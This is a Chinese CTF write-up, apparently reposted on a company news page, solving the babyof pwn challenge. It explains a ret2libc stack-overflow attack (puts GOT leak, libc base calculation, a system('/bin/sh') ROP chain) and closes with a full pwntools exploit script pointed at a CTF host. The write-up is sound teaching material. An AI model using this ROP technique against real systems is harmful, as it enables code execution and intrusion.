资讯动态

[2021 鹤城杯]babyof的解法参考

发布时间:2026/8/9 9:49:42 来源:尧图企业网站定制
这是一道ret2libc的题首先打开ida看看main函数发现最可疑的是sub这个函数进入这个函数看到栈的大小是0x40read函数读0x100可以栈溢出填充应该是buf大小0x40rbp8并且看到有用到输出函数puts可以利用puts函数打印puts_got地址处的内容paddingba*72然后用pwntools带的elf工具找到plt表里的puts函数和got表里的puts函数elf ELF(binary) puts_pltelf.plt[puts] puts_gotelf.got[puts]然后我们需要控制puts函数的第一个参数所以我们要找放第一个参数的寄存器的rdi的地址通过这个命令ROPgadget --binary ./babyof | grep pop rdi然后就可以编写第一个payload了第一个payload的目的是控制puts函数让puts函数打印puts的got表里地址存的内容也就是puts在libc中的真实地址填充之后先写pop rdi然后写puts_got让puts_got变成第一个参数然后写puts_plt使用puts函数打印最后回到main函数方便之后第二个payload需要注意的是使用 puts_plt 而不是 puts_got因为 PLT 是调用 puts 的入口GOT 只是存地址的表payloadpaddingp64(poprdi)p64(puts_got)p64(puts_plt)p64(main)然后就是接收了先用recvuntil接收无关的输出因为puts打印出来的是原始字节所以要用u64来接收这里为什么是r(6)呢是因为puts输出的是6个原始字节大概是下图的形式其中\xc0是第一个字节|是第二个字节\x08是第三个字节这样最后数出来是6个字节uu64 lambda data : u64(data.ljust(8, b\x00)) ru(I hope you win\n) puts_addruu64(r(6))接收之后打印出来看一眼log.success(hex(puts_addr))获得puts真实地址之后去libc-database网站上输入puts函数和真实地址寻找合适的libc版本这里选择下载libc6_2.29-0ubuntu2_amd64写到脚本里elf ELF(binary) libc ELF(./libc2.29.so)然后计算libc的基址就是用puts的真实地址减puts的偏移用libc.sym[puts]获得符号表里的偏移计算出基址之后打印出来看到是这样比较高的地址后面都是0大概就是对了log.success(hex(libc.address))有了基址之后就可以计算system和binsh的真实地址了就用libc基址加libc.sym[]获得的偏移对于在binsh那里为什么要加nextai是这么解释的因为 libc.search() 返回的是一个生成器generator不是直接给你地址。libc 里可能有多个 /bin/shnext()就是取第一个。总之遇到libc.search去搜binsh这样字符串的情况需要加一个nextlibc.addressputs_addr-libc.sym[puts] system_addrlibc.sym[system] binsh_addrnext(libc.search(/bin/sh))这里上面的写法使用了pwntools带的libc.address的自动化工具自动加上了偏移这个写法等价于libc_addressputs_addr-libc.sym[puts] system_addrlibc.sym[system]libc_address binsh_addrnext(libc.search(/bin/sh))libc_address现在我们有了system和binsh再找一个ret用于对齐Ubuntu 18.04 的 libc 中 system() 内部有 movaps 指令要求栈 16 字节对齐。leave; ret 之后栈少了 8字节pop rbp所以加一个 ret gadget 把栈抬高 8 字节恢复对齐否则会 crash。就可以构建第二个payload了ROPgadget --binary ./babyof | grep ret因为上一个payload回到了main函数所以先正常填充然后加ret对齐之后写rdi把binsh当作参数放进rdi里再调用system函数效果就是system(/bin/sh)了就结束了payloadpaddingp64(ret)p64(poprdi)p64(binsh_addr)p64(system_addr)最后附上expfrom pwn import * s lambda data : io.send(data) sa lambda delim, data : io.sendafter(str(delim), data) sl lambda data : io.sendline(data) sla lambda delim, data : io.sendlineafter(str(delim), data) r lambda num : io.recv(num) ru lambda delims, dropTrue : io.recvuntil(delims, drop) itr lambda : io.interactive() uu32 lambda data : u32(data.ljust(4, b\x00)) uu64 lambda data : u64(data.ljust(8, b\x00)) context.log_level debug context.binary binary ./babyof context.terminal [tmux, splitw, -h] gdbscript def start(argv[], *a, **kw): if args.GDB: proc process([binary] argv, *a, **kw) gdb.attach(proc, gdbscriptgdbscript) return proc elif args.REMOTE: return remote(node4.anna.nssctf.cn,21488) else: return process([binary] argv, *a, **kw) elf ELF(binary) libc ELF(./libc2.29.so) rop ROP(elf) io start() paddingba*72 puts_pltelf.plt[puts] puts_gotelf.got[puts] poprdi0x0000000000400743 payloadpaddingp64(poprdi)p64(puts_got)p64(puts_plt)p64(0x40066B) s(payload) ru(I hope you win\n) puts_addruu64(r(6)) log.success(hex(puts_addr)) libc.addressputs_addr-libc.sym[puts] log.success(hex(libc.address)) system_addrlibc.sym[system] binsh_addrnext(libc.search(/bin/sh)) ret0x0000000000400506 payloadpaddingp64(ret)p64(poprdi)p64(binsh_addr)p64(system_addr) s(payload) itr()

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价